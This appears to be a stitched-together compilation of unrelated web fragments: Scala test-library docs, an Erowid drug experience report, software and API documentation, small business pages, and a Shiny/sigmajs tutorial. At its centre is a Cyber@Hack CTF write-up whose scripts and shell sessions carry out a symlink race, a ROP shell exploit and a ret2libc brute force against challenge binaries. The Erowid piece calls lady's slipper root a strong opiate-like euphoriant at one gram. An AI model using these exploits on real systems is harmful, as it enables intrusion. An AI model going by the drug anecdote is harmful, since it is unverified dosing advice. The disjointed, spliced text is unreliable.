Check to see if the specified object, left
, matches, and report the result in
the returned MatchResult
.
Check to see if the specified object, left
, matches, and report the result in
the returned MatchResult
. The parameter is named left
, because it is
usually the value to the left of a should
or must
invocation. For example,
in:
num should be (odd)
The be (odd)
expression results in a regular Matcher
that holds
a reference to odd
, the
BeMatcher
passed to be
. The should
method invokes apply
on this matcher, passing in num
, which is therefore the "left
" value. The
matcher will pass num
(the left
value) to the BeMatcher
's apply
method.
the value against which to match
the MatchResult
that represents the result of the match
Compose this BeMatcher
with the passed function, returning a new BeMatcher
.
Compose this BeMatcher
with the passed function, returning a new BeMatcher
.
This method overrides compose
on Function1
to
return a more specific function type of BeMatcher
. For example, given
an odd
matcher defined like this:
val odd = new BeMatcher[Int] { def apply(left: Int) = MatchResult( left % 2 == 1, left.toString + " was even", left.toString + " was odd" ) }
You could use odd
like this:
3 should be (odd) 4 should not be (odd)
If for some odd reason, you wanted a BeMatcher[String]
that
checked whether a string, when converted to an Int
,
was odd, you could make one by composing odd
with
a function that converts a string to an Int
, like this:
val oddAsInt = odd compose { (s: String) => s.toInt }
Now you have a BeMatcher[String]
whose apply
method first
invokes the converter function to convert the passed string to an Int
,
then passes the resulting Int
to odd
. Thus, you could use
oddAsInt
like this:
"3" should be (oddAsInt) "4" should not be (oddAsInt)
Trait extended by matcher objects, which may appear after the word
be
, that can match a value of the specified type. The value to match is passed to theBeMatcher
'sapply
method. The result is aMatchResult
. ABeMatcher
is, therefore, a function from the specified type,T
, to aMatchResult
.Although
BeMatcher
andMatcher
represent very similar concepts, they have no inheritance relationship becauseMatcher
is intended for use right aftershould
ormust
whereasBeMatcher
is intended for use right afterbe
.As an example, you could create
BeMatcher[Int]
calledodd
that would match any oddInt
, and one calledeven
that would match any evenInt
. Given this pair ofBeMatcher
s, you could check whether anInt
was odd or even with expressions like:Here's is how you might define the odd and even
BeMatchers
:These
BeMatcher
s are defined inside a trait to make them easy to mix into any suite or spec that needs them. TheCustomMatchers
companion object exists to make it easy to bring theBeMatcher
s defined in this trait into scope via importing, instead of mixing in the trait. The ability to import them is useful, for example, when you want to use the matchers defined in a trait in the Scala interpreter console.Here's an rather contrived example of how you might use
odd
andeven
:The last assertion in the above test will fail with this failure message:
6 was even
For more information on
MatchResult
and the meaning of its fields, please see the documentation forMatchResult
. To understand whyBeMatcher
is contravariant in its type parameter, see the section entitled "Matcher's variance" in the documentation forMatcher
.


Modify user
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| DOSE: |
1.0 g |
oral |
Lady's Slipper |
(roots) |
Lady's slipper (Cypripedium calceolus var. pubescens) is a beautiful yellow-flowered orchid native to my region of western Canada. I had read in the book Magic and Medecine of Plants that lady's slipper root had once been used as a substitute for valerian root, and there was a little warning that large doses could cause 'giddiness, headache and hallucinations'. I thought this sounded intriguing, so when I discovered that my local herb store actually carried lady's slipper root, I immediately bought some. It was the most expensive herb they had, but I figured I had to try it at least once.
I decided to start off with what I thought we be a small dose - one gram of the dried roots steeped as tea. The roots had a really bizarre smell to them, almost a bit of a petrochemical scent. If you've ever smelled a lady's slipper orchid, you should know what I mean. It certainly didn't have the sickly sweet smell of valerian. I settled back with my first cup of tea, looking for nothing more than a little sedation so I could get to sleep easier. So I was quite surprised when, about 20 minutes later and halfway through the first cup of tea, I started to feel like I was floating.  I was incredibly sedated, all I could do was lie on my bed. This overwhelming blissful feeling swept through me, and everything in my vision seemed to wave a bit. Also my sense of pain had completely vanished. The aching knee which had been plaguing me before I drank the tea now felt just fine.
It reminded me quite a bit of the effects of opium, except stronger. I had been a bit dissapointed when I tried opium, but lady's slipper held every desirable effect I had heard of regarding opiates. Euphoria, analgesia, sedation. It also proved quite effective as a remedy for insomnia. As I lay blissed out on my bed, I sort of went into a trance, and must have fallen asleep because I didn't wake again until my alarm went off the next morning. I didn't notice any residual effects that morning, except that I felt more rested and refreshed than normal. I wonder how many other people have tried this plant.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Moebius is a new ANSI and ASCII Editor for MacOS, Windows, and Linux. The major feature that differentiates it from PabloDraw is the 'half-block' brush which allows editing in a style closer to Photoshop than a text editor, although you can still use the function and cursor keys to draw with, and you should find that most of the text editing features from PD are carried over to this editor. The editor is still a work in progress, but anyone who wants to try using it is also encouraged to log feature requests and bugs on the project's GitHub page.
MacOS Application Windows Installer Windows Portable Executable Debian Package RPM Package Source Code (GitHub) Bug Tracker and Feature Requests (GitHub)It also has a fantastic splash screen drawn by blocktronics own AlphaKing and Fuel's burps.


--- layout: null section-type: about title: About --- ## About Recent grad from **Worcester Polytechnic Institute**(WPI). I am fan of Facebook, yeah, the most popular social network. However, not the product itself, rather something under the hood - **React** and its amazing **ecosystem** (*React Native, Relay, GraphQL* etc) that makes me really excited. ### Introspection My time management is heavily threatened by my [poorly incubated dotfiles](https://github.com/lxynox/dotfiles). Seriously, i mean seriously, i will do something more meaningful, stuffs like finding a job ¿ⓧ_ⓧﮌ. ### Recent movie ![The jungle book](http://dekhnews.com/wp-content/uploads/2016/04/2355df67d182ce84_JB_Triptych_1-Sht_Full_Online_v4_rev_lg.xxxlarge_2x.jpg)
This is the law of the jungle, As old and as true as the sky. And the wolf that keeps it may prosper, But the wolf that breaks it will die. Like the creeper that girdles the tree trunk, The law runneth over and back ......


Surroundings
The Cyber@Hack is a french CTF “on site” who take place in differents french cities. The CTF lasted a whole night from the 22 september to the 23 september. The CTF is made of different categories like pwnable, reverse engineering, web, cryptographie, steganographie and forensic.
I did it with a friend and we finished 14th!
Together we’ve done 6 challenges. We were focused on exploit and reverse engineering challenges. This post will explain you how we’ve solved the different challenges. Below is the different challenges we solved:
- tocttou (Exploit)
- basicrop (Exploit)
- alien-language (Reverse engineering/Cryptography)
- BotoxedString (Reverse engineering)
- Robot cOP (Exploit)
You can find all the binary/exploit present in this post on my Github.
1. Tocttou
This challenge was solved by my friend. It’s a tocttou exploitation challenge. Tocttou means Time Of Check To Time Of Use, that bug occurs when a binary open a file, try to access it and if it can, read it contents but forgot to check if the file has changed between the access part and the read part.
So we first begun by checking the binary.
$ file tocttou
tocttou: setuid, setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f85ccc503bad6c160864d080481d6d9885d1dd65, not stripped
$ ls -lh tocttou
-rwsr-sr-x 1 tocttou-solved tocttou 8.3K Sep 21 14:03 tocttou
$ checksec --file tocttou
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 4 tocttou
We faced a basic binary without stripped, PIE or SSP. Then I try to start the binary to check how it works:
$ ./tocttou
USAGE : ./tocttou <file to read>
$ ./tocttou flag
flag : you dont have enough permissions to read this file.
Hum… It would have been so easy! Lets begin the reverse engineering part! After a little look at the asm code, it seems that the important part is in the “can_be_read” function.
$ gdb -q ./tocttou
Reading symbols from ./tocttou...(no debugging symbols found)...done.
gdb-peda$ disas can_be_read
Dump of assembler code for function can_be_read:
0x0000000000400770 <+0>: push rbp
0x0000000000400771 <+1>: mov rbp,rsp
0x0000000000400774 <+4>: sub rsp,0x10
0x0000000000400778 <+8>: mov QWORD PTR [rbp-0x8],rdi
0x000000000040077c <+12>: cmp QWORD PTR [rbp-0x8],0x0
0x0000000000400781 <+17>: jne 0x40078a <can_be_read+26>
0x0000000000400783 <+19>: mov eax,0x0
0x0000000000400788 <+24>: jmp 0x4007ab <can_be_read+59>
0x000000000040078a <+26>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040078e <+30>: mov esi,0x4
0x0000000000400793 <+35>: mov rdi,rax
0x0000000000400796 <+38>: call 0x4005d0 <access@plt>
0x000000000040079b <+43>: test eax,eax
0x000000000040079d <+45>: jne 0x4007a6 <can_be_read+54>
0x000000000040079f <+47>: mov eax,0x1
0x00000000004007a4 <+52>: jmp 0x4007ab <can_be_read+59>
0x00000000004007a6 <+54>: mov eax,0x0
0x00000000004007ab <+59>: leave
0x00000000004007ac <+60>: ret
End of assembler dump.
The function call the access libc function and return 1 if the access has success or 0 if not. Here is the Tocttou bug. As I said previously, if we change the file after access checked success, we will be able to bypass the access function!
To do it, we will begin by create a file in the tmp directory.This file will be used for the first symbolic link. My friend solved the challenge in python but I’m better in Bash so I will show you the Bash method. To solved the challenge, we will need 2 shell. The first one will do an infine look with 4 command. The two first will create a symlink with the previous created file and then deleted this link and the two next command will created a symlink between with the flag file and then deleted this symlink. The second shell will run the binary in an infinite loop with the symlink as argument. The goal is to set the symlink when access check the file and then change that symlink when the file will be read with the flag file. You can see below a little scheme about the attack:
Now let’s try it! Below is the first shell view:
$ touch /tmp/dagger/foo
$ while true; do ln -s /tmp/dagger/foo /tmp/dagger/toc; unlink /tmp/dagger/toc; ln -s /challenges/tocttou/flag /tmp/dagger/toc; unlink /tmp/dagger/toc; done
And now the second shell view:
$ while true; do ./tocttou/tocttou /tmp/dagger/toc|grep flag ;done
flag{tick_tock_touuuu}
Done.
Well played to my friend!
2. BasicROP
As it is sayed in the challenge name, this one is a very basic Return Oriented Programming. For thos who don’t know what is the ROP technique, I redirect you to one of my precedent post.
I first begin by taking a look to the binary, the size, the protection, the type, etc…
$ file basicrop
basicrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
$ ls -lh basicrop
-rwxr-xr-x 1 meffre_q meffre_q 1.1K Sep 21 17:43 basicrop
$ checksec --file basicrop
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 0 basicrop
$ nm basicrop
00000000004000c1 t breakme
000000000060011c D __bss_start
000000000060011c D _edata
0000000000600120 D _end
00000000004000fa t fuckit
0000000000600114 d shell
00000000004000b0 T _start
No special protection, the binary is statically compiled but it seems very small, only 1.1K and after checking the symbol, the binary seems to be developed directly in assembly language because of the little number of symbols.
So I begun the reversing part but it was very fast because of the little size of the binary. The “_start” function call a function name “breakme”. This “breakme” function did two syscall, the first one is “read” and the second one is “write”. But there is an overflow at the “read” syscall because the binary try to read 280 bytes in a 256 bytes buffer. So we can overwrite RIP register at the 256th byte. A basic ROP should not be easy because of the binary size but I remember of 2 symbols I didn’t saw yet in the binary, the function “fuckit” and the data “shell”. Below is the disassembled code of fuckit:
gdb-peda$ disas fuckit
Dump of assembler code for function fuckit:
0x00000000004000fa <+0>: movabs rdi,0x600114
0x0000000000400104 <+10>: push 0x0
0x0000000000400106 <+12>: push rdi
0x0000000000400107 <+13>: mov rsi,rsp
0x000000000040010a <+16>: lea rdx,[rsi+0x8]
0x000000000040010e <+20>: pop rax
0x000000000040010f <+21>: pop rax
0x0000000000400110 <+22>: pop rax
0x0000000000400111 <+23>: ret
End of assembler dump.
First, this function move a value in RDI register. It seems to contain the “shell” address we’ve saw in the “nm” output. Lets display it:
$ gdb ./basicrop -q
Reading symbols from ./basicrop...(no debugging symbols found)...done.
gdb-peda$ br _start
Breakpoint 1 at 0x4000b0
gdb-peda$ r
...
Breakpoint 1, 0x00000000004000b0 in _start ()
gdb-peda$ x/s 0x600114
0x600114: "/bin/sh"
Nice, thanks to this string, we can easily execute a shell! So the “fuckit” function is very easy. It move the strings “/bin/sh” into the RDI register, then push 0x0 and RDI on the stack, then move RSP into RSI, then load the address of RSI+0x8 (so RSP+0x8) and then pop 3 times a value into RAX. Our goal will be to do an “execve” syscall with the good argument/syscall number. Our register will look like that:
RAX = 0x3b (59) RDI = “/bin/sh” RSI = “/bin/sh” RDX = 0x0
RDI/RSI/RDX are set to the good value but we have to set RAX. In the “fuckit” function we can see 3 “pop”. The first and the second one will pop the RDI value and 0x0, the two value pushed just before. But we can control the last one so we will add the value 0x3b (59) on the stack to poped it in RAX. Then we need to do the syscall. To do it we will jump into one of the two syscall instructions in the “breakme” function. I choose the first one.
The exploit will look like that:
#!/usr/bin/env python
import struct
fuckit_addr=struct.pack("<Q", 0x00000000004000fa) # Fuckit function address
execve=struct.pack("<Q", 0x3b) # Execve syscall number
syscall_addr=struct.pack("<Q", 0x00000000004000dd) # Syscall instruction address
padding="A"*256 # Padding before overflow
print padding+fuckit_addr+execve+syscall_addr
And then we test it:
$ (python /tmp/dagger/basicrop.py;cat)|./basicrop
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@;�@id
uid=1334(dagger) gid=1334(dagger) euid=1308(basic_rop-solved) egid=1307(basic_rop) groups=1307(basic_rop),1002(tocttou),1305(robot_cop),1306(2befree),1311(botoxedstring),1312(fakemalware-killswitch),1334(dagger)
cat flag
flag{r0ppin9_Y0ur_waY_t0_h3aveN}
Done.
3. Alien-Language
This challenge was in the cryptographic category but, for me, it was mostly a reversing challenge than cryptographic. (Maybe there was an other method to solve it…)
This challenge was made with an elf-64 binary. So we began by examining it:
$ file alien
alien: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a87da1012726ca02b0c683891ff6b35620b32e42, not stripped
$ ls -lh alien
-rwxr-xr-x 1 meffre_q meffre_q 8.4K Sep 21 21:05 alien
$ nm alien
0000000000201048 B __bss_start
0000000000201048 b completed.6973
w __cxa_finalize@@GLIBC_2.2.5
0000000000201038 D __data_start
0000000000201038 W data_start
0000000000000670 t deregister_tm_clones
0000000000000700 t __do_global_dtors_aux
0000000000200de8 t __do_global_dtors_aux_fini_array_entry
0000000000201040 D __dso_handle
0000000000200df0 d _DYNAMIC
0000000000201048 D _edata
0000000000201050 B _end
0000000000000b04 T _fini
0000000000000740 t frame_dummy
0000000000200de0 t __frame_dummy_init_array_entry
0000000000000cec r __FRAME_END__
0000000000201000 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
0000000000000ba0 r __GNU_EH_FRAME_HDR
00000000000005d0 T _init
0000000000200de8 t __init_array_end
0000000000200de0 t __init_array_start
0000000000000b10 R _IO_stdin_used
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
0000000000000b00 T __libc_csu_fini
0000000000000a90 T __libc_csu_init
U __libc_start_main@@GLIBC_2.2.5
000000000000091f T main
000000000000074a T my_open
U printf@@GLIBC_2.2.5
00000000000006b0 t register_tm_clones
U __stack_chk_fail@@GLIBC_2.4
0000000000000640 T _start
U strlen@@GLIBC_2.2.5
0000000000201048 D __TMC_END__
U write@@GLIBC_2.2.5
$ ./alien
337778877772337778
Relaunch with the solution in argument.
$ ./alien toto
Too bad
Nothing very interesting, the “strings” command didn’t give use much more informations. So let’s begin the reverse engineering!

It seems to be a conditional series to success to get the flag. The following conditions are the one to respect to get the flag:
- The argument must have a lenght of 8 bytes.
- The third bytes must be equal to 0x65 (‘e’).
- The fifth bytes must be equal to 0x73 (‘s’).
- The second bytes must be equal to 0x72 (‘r’).
- The seventh bytes must be equal to 0x72 (‘r’).
- The first bytes must be equal to 0x74 (‘t’).
- The eighth bytes must be equal to 0x65 (‘e’).
- The fourth bytes must be equal must be equal to 0x61 (‘a’).
All the condition make the word “treasure”. Go to test it:
$ ./alien treasure
Well done ! Validate the chall with : flag{S0_U_R_A_2000_k1dd1E?}
You can also easily validate the chall with a jump into the “my_open” function while debugging the binary: (be attention at the PIE protection)
$ gdb -q ./alien
Reading symbols from ./alien...(no debugging symbols found)...done.
gdb-peda$ br main
Breakpoint 1 at 0x923
gdb-peda$ r
Starting program: /home/meffre_q/Downloads/alien
...
Breakpoint 1, 0x0000555555554923 in main ()
gdb-peda$ jump my_open
Continuing at 0x55555555474e.
Well done ! Validate the chall with : flag{S0_U_R_A_2000_k1dd1E?}
[Inferior 1 (process 30296) exited normally]
Warning: not running or target is remote
Done.
4. BotoxedString
This one was a reverse engineering challenge. It is a basic crackme.
So let’s begin the reversing part!
The first interesting part is the call to the “areYouLegit” function with the first program argument, in the “main” function:
$ gdb -q ./crackme
Reading symbols from ./crackme...(no debugging symbols found)...done.
gdb-peda$ disas main
Dump of assembler code for function main:
...
0x00000000004009f2 <+63>: mov rax,QWORD PTR [rbp-0x30]
0x00000000004009f6 <+67>: add rax,0x8
0x00000000004009fa <+71>: mov rax,QWORD PTR [rax]
0x00000000004009fd <+74>: mov rdi,rax
0x0000000000400a00 <+77>: call 0x4007c6 <areYouLegit>
...
The function will do 4 test on the program argument:
- Check if the string size is greater than 7.
- Check if the string contain at least one ‘-‘ character.
- Check if the string contain at least one ‘+’ character.
- Check if the string contain at least one ‘@’ character.
If one of this tests failed, the function exit with an error code and the program stop their.

The function is very simple. First it call the function “passwordBeautifyier” at line +19 with the tested password as parameter and then it compare the return value of “passwordBeautifyier” with the goal password. The compared password is “cyber@hack” but the problem is the “passwordBeautifyier” function because it mix the current password so we can’t just enter “cyber@hack” as program parameter.
To solve the problem, I choose the lazy solution, instead of disassemble the “passwordBeautifyier” function I test different value and checked my result. After different test, I get the value “-ccyyybberr@@hhaacckk+” which seems to match with the goal password. Let’s try it:
$ ./crackme -ccyyybberr@@hhaacckk+
Good one ! You can validate the chall with : flag{W3lC0M3_t0_CYb3R@H4Ck}
Done.
5. Robot cOP
This one was an exploit challenge. Let’s check the binary:
$ file Robot_cOP
Robot_cOP: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5da4c256b34d973d0ff80aff762a9d443c9aadb9, not stripped
$ ls -lh Robot_cOP
-rwxr-xr-x 1 meffre_q meffre_q 5.4K Sep 21 22:40 Robot_cOP
$ checksec --file Robot_cOP
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 Robot_cOP
$ ./Robot_cOP
Only Inspector Gadget, can use Robot cOP
$ ./Robot_cOP toto
$ nm Robot_cOP
...
U system@@GLIBC_2.0
...
So the binary seems to be basic. It is a 32 bits elf dinamycally compiled and we can see thanks to “nm” the system LibC function so maybee the program use it somewhere. Let’s disassemble it!
After checking the “main” function, the most important things is the call to “my_bad” function. You can see below the disassembled code:
gdb-peda$ disas my_bad
Dump of assembler code for function my_bad:
0x08048483 <+0>: push ebp
0x08048484 <+1>: mov ebp,esp
0x08048486 <+3>: sub esp,0x808
0x0804848c <+9>: sub esp,0x8
0x0804848f <+12>: push DWORD PTR [ebp+0x8]
0x08048492 <+15>: lea eax,[ebp-0x808]
0x08048498 <+21>: push eax
0x08048499 <+22>: call 0x8048310 <strcpy@plt>
0x0804849e <+27>: add esp,0x10
0x080484a1 <+30>: leave
0x080484a2 <+31>: ret
End of assembler dump.
The function is very easy. First it allocate 0x808 (2056) bytes on the stack, then push the first argument which is the first program argument, then load the address of the allocated buffer, push that buffer and then copy the first program argument into the buffer. So if we give to strcpy a buffer greater than 0x808 bytes we will overflow the return adress.
Instead of using the ROP technic to solve the challenge, I choose a very fast one which I described in a previous post, the ASLR bruteforce! As I already explained it in details in my previous post, I will only show you the final exploit:
#!/usr/bin/env python
# coding: utf-8
import struct
import subprocess
base = 0xf754e000 # base libc address's
system_offset = 0x0003e3e0 # system offset function
exit_offset = 0x000311b0 # exit offset function
binsh = 0x804825c # /bin/sh addresse's contained in the binary
system_addr = base + system_offset # final system address's
exit_addr = base + exit_offset # final exit address's
payload = "A" * 2060
payload += struct.pack("<I",system_addr)
payload += struct.pack("<I",exit_addr)
payload += struct.pack("<I",binsh)
while (1):
result = subprocess.call(["/challenges/robot_cop/Robot_cOP", payload])
if not result:
print "Done"
exit(0)
else:
print "KO\n"
And we test:
$ python /tmp/brute.py
KO
KO
KO
...
$ id
uid=1334(dagger) gid=1334(dagger) euid=1310(robot_cop-solved) egid=1305(robot_cop) groups=1305(robot_cop),1002(tocttou),1306(2befree),1307(basic_rop),1311(botoxedstring),1312(fakemalware-killswitch),1334(dagger)
$ cat flag
flag{0r5t7hvR4dfTyhj67yKLO}
Done.


-
addCallback(type, callbackFn)
-
Adds callback function that is executed at specific times
Parameters:
| Name |
Type |
Description |
type |
string
|
Type of callback: 'exertForce' (only choice available now) |
callbackFn |
function
|
Callback function |
- Inherited From:
- Source:
-
addDynamicObstacle(mesh, mass)
-
Adds a dynamic obstacle into the system
Parameters:
| Name |
Type |
Description |
mesh |
THREE.Mesh
|
Mesh to use as a dynamic obstacle |
mass |
number
|
Mass of the dynamic obstacle |
- Inherited From:
- Source:
-
addStaticObstacle(mesh)
-
Adds a static obstacle into the system
Parameters:
| Name |
Type |
Description |
mesh |
THREE.Mesh
|
Mesh to use as a static obstacle |
- Inherited From:
- Source:
-
disturb(position, amount, radius)
-
Disturbs the water, causing ripples on the water surface
Parameters:
| Name |
Type |
Description |
position |
THREE.Vector3
|
World-space position to disturb at |
amount |
number
|
Amount of water to disturb |
radius |
number
|
Radius of disturb |
- Inherited From:
- Source:
-
flood(volume)
-
Floods the scene by the given volume
Parameters:
| Name |
Type |
Description |
volume |
number
|
Volume of water to flood the scene with, in cubic scene units |
- Inherited From:
- Source:
-
getMeanHeight() → {number}
-
Gets mean height
- Inherited From:
- Source:
Returns:
Mean height
-
Type
-
number
-
getObstaclesDisplayTexture() → {THREE.WebGLRenderTarget}
-
Gets the obstacle texture
- Inherited From:
- Source:
Returns:
Obstacles texture
-
Type
-
THREE.WebGLRenderTarget
-
getPixelFloatData() → {Float32Array}
-
Returns the pixel float data for the water textures
NOTE: This is an expensive operation.
- Inherited From:
- Source:
Returns:
Float data of the water texture
-
Type
-
Float32Array
-
getShouldDisplayObstaclesTexture() → {boolean}
-
Gets whether the obstacles texture should be displayed
- Inherited From:
- Source:
Returns:
Whether the obstacles texture should be displayed
-
Type
-
boolean
-
getShouldDisplayWaterTexture() → {boolean}
-
Gets whether the water texture should be displayed
- Inherited From:
- Source:
Returns:
Whether the water texture should be displayed
-
Type
-
boolean
-
getWaterDisplayTexture() → {THREE.WebGLRenderTarget}
-
Gets the water texture that is used for displacement of mesh
- Inherited From:
- Source:
Returns:
Water texture that is used for displacement of mesh
-
Type
-
THREE.WebGLRenderTarget
-
removeObstacle(mesh)
-
Removes obstacle from the system
Parameters:
| Name |
Type |
Description |
mesh |
THREE.Mesh
|
Mesh of the obstacle to remove |
- Inherited From:
- Source:
-
reset()
-
Resets the simulation
- Inherited From:
- Source:
-
setMeanHeight(value)
-
Sets mean height
Parameters:
| Name |
Type |
Description |
value |
number
|
Mean height |
- Inherited From:
- Source:
-
setShouldDisplayObstaclesTexture(value)
-
Sets whether the obstacles texture should be displayed
Parameters:
| Name |
Type |
Description |
value |
boolean
|
Whether the obstacles texture should be displayed |
- Inherited From:
- Source:
-
setShouldDisplayWaterTexture(value)
-
Sets whether the water texture should be displayed
Parameters:
| Name |
Type |
Description |
value |
boolean
|
Whether the water texture should be displayed |
- Inherited From:
- Source:
-
update(dt)
-
Updates the water simulation
NOTE: This needs to be called every frame, after renderer.clear() and before renderer.render(...)
Parameters:
| Name |
Type |
Description |
dt |
number
|
Elapsed time since previous frame |
- Inherited From:
- Source:


There are many different methods to helping our pups get a good nights sleep. For example, some dogs sleep in a crate. They are trained to think of their crate like their den so it is a happy place, instead of a place of punishment. Some dogs sleep in the bed with their owners, or some just sleep wherever they want around the house. This video hsould help give you some tips so you can determine the best method for you to help your dog go to bed!
Click here to go back other link options.


Welcome to Donut Delights
Donut Delights is Urbana's go-to breakfast spot since 1971! We are dedicated to providing customers the best quality service. Our donuts are baked fresh twice every day and our coffee is brewed every 15 minutes.
Donut you want to try some tasty delights?


Before Change
cfg.dataset_type == "scalecrop"
or cfg.dataset_type == "tensorpack"
or cfg.dataset_type == "deterministic"
) and cfg["batch_size"] != 1:
print(
"Switching batchsize to 1, as the tensorpack/ scalecrop/ deterministic loader does not support batches >1. Use imgaug/default loader for larger batch sizes."
)
cfg["batch_size"] = 1 // in case this was edited for analysis.-
After Change
for it in range(max_iter + 1):
if "efficientnet" in cfg.net_type:
dict={tstep: it}
current_lr = sess.run(learning_rate,feed_dict=dict)
else:
current_lr = lr_gen.get_lr(it)
dict={learning_rate: current_lr}


==== Directory Servers ====
The main goals of a directory service is to provide information to services and hosts for reference or/and authentication. The compromise of this service can allow the control of all hosts that depend on the service and well as provide information that could be used to further an attack. Information to look for in a directory service are:
*List of objects (Users, passwords, Machines..etc)
*Connections to the system
*Identification of protocols and security level


| GEOS SDK TechDocs
The following documents cover some of the ins and outs of GEOS programming.
- Tutorial
- The Tutorial introduces some important programming topics.
- GEOS Programming
- The GEOS object model, Goc keywords.
- Goc Keywords
- Alphabetic listing of Goc keywords, with syntax and descriptions.
- Localization
- GEOS-specific string functions; Goc keywords to make your program
more easily localizable.
- Swat Introduction
- Using Swat, the GEOS debugger.
| GEOS SDK TechDocs


shiny.Rmd
sigmajs
goes hand in hand with Shiny. As stated in the wiki, sigma.js is “interactivity oriented” and therefore plays ideally in apps.
Another good example of the package in the wild is chirp.sh.
simgajs
lets you dynamically interact with the graph, that is, add/remove/customise without redrawing the whole graph: these functions all end in _p
. The package also lets you catch how the user interacts with your graph.
Here I mainly talk you through shiny proxies in general and the add-nodes
demo.
Let’s start by building a simple Shiny app that includes a basic sigmajs
graph.
library(shiny)
library(sigmajs)
nodes <- sg_make_nodes()
edges <- sg_make_edges(nodes)
ui <- fluidPage(sigmajsOutput("sg")) # bare bone UI
server <- function(input, output){
output$sg <- renderSigmajs({
sigmajs() %>%
sg_nodes(nodes, id, size, color) %>%
sg_edges(edges, id, source, target)
})
}
shinyApp(ui, server) # run
Now that we have a simple app going we can look at playing with proxies. The layout looks a bit rubbish, we can add a proxy to let the user trigger the forceAtlas2 layout.
nodes <- sg_make_nodes()
edges <- sg_make_edges(nodes)
ui <- fluidPage(
actionButton("start", "Trigger layout"), # add the button
sigmajsOutput("sg")
)
server <- function(input, output){
output$sg <- renderSigmajs({
sigmajs() %>%
sg_nodes(nodes, id, size, color) %>%
sg_edges(edges, id, source, target)
})
observeEvent(input$start, {
sigmajsProxy("sg") %>% # use sigmajsProxy!
sg_force_start_p() # app the proxy (_p)
})
}
shinyApp(ui, server) # run
So proxies work on a already existing graphs so you simply have to use the sigmajsProxy
function to catch that graph using its id
; output graph’s id is sg
(sigmajsOutput("sg")
). Then you can pass your proxies _p
.
We could, for instance, now add another button to kill the layout because as it is now the layout is constantly running which is a bit draining for the browser and not very useful.
nodes <- sg_make_nodes()
edges <- sg_make_edges(nodes)
ui <- fluidPage(
actionButton("start", "Start layout"), # start button
actionButton("stop", "Stop layout"), # stop button
sigmajsOutput("sg")
)
server <- function(input, output){
output$sg <- renderSigmajs({
sigmajs() %>%
sg_nodes(nodes, id, size, color) %>%
sg_edges(edges, id, source, target)
})
# start layout
observeEvent(input$start, {
sigmajsProxy("sg") %>%
sg_force_start_p()
})
# stop layout
observeEvent(input$stop, {
sigmajsProxy("sg") %>%
sg_force_stop_p()
})
}
shinyApp(ui, server) # run
Now that you are familiar with proxies we can look at the more powerful ones; though you will see, you can use them just as easily! For that we’ll scrap the previous buttons and go back to the basic shiny app we initially set up.
Let’s put a button that lets the user add nodes to the graph. For this example we’ll only plot nodes, no edges.
library(shiny)
library(sigmajs)
# initial nodes
nodes <- sg_make_nodes()
# nodes to add on click
nodes2add <- sg_make_nodes()
nodes2add$id <- 11:20 # ids must be unique
ui <- fluidPage(
actionButton("add", "Add nodes"),
sigmajsOutput("sg")
)
server <- function(input, output){
output$sg <- renderSigmajs({
sigmajs() %>%
sg_nodes(nodes, id, size, color)
})
observeEvent(input$add, {
sigmajsProxy("sg") %>%
sg_add_nodes_p(nodes2add, id, size, color)
})
}
shinyApp(ui, server) # run
This is a simplified version of the demo("add-nodes", package = "sigmajs")
It’s fairly simple when you look at it.
id
as the already existing nodes.sg_add_nodes_p
which acutally works just like sg_nodes
.Another great thing the package lets you do is capture how the user interact with your app. Then again there is a demo for the latter: custom-events
.
All the events are integrated in the package. In version 0.1.3
and prior all events are sent to the server by default, from 0.1.4
(currently dev version) onwards users have to specify which event they want to capture with sg_events
.
Let’s take the basic app we built at the begining of the proxies walkthrough and catch which node the user clicks on.
library(shiny)
library(sigmajs)
nodes <- sg_make_nodes()
edges <- sg_make_edges(nodes)
ui <- fluidPage(
sigmajsOutput("sg"),
p("Click on a node"),
verbatimTextOutput("clicked")
)
server <- function(input, output){
output$sg <- renderSigmajs({
sigmajs() %>%
sg_nodes(nodes, id, size, color) %>%
sg_edges(edges, id, source, target) %>%
sg_events("clickNode")
})
# capture node clicked
output$clicked <- renderPrint({
input$sg_click_node
})
}
shinyApp(ui, server) # run
Easy! Just use your plot as an input
that points to the graph id (sg
) followed by _
and the name of the event you want to catch; in our case, plot of id (sg
) and capture node clicked = input$sg_click_node
. There are many more events to pick up, see the official documentation for the full list.
Now that you are familiar with proxies, we can add a filter to filter nodes, edges or both.
sg_filter_gt_p
- filter greater than \(x\)
sg_filter_lt_p
- filter less than \(x\)
sg_filter_eq_p
- filter equal to \(x\)
sg_filter_not_eq_p
- filter not equal to \(x\)
sg_filter_undo_p
- undo filtersg_filter_neighbours_p
- to filter neighbours of node \(x\)
Let’s take our basic Shiny app and add our filter. Note that we pass a name to the filter, this allows referencing the filter in sg_filter_undo_p
function. Every time the user moves the slider the filter is actually undone and re-applied.
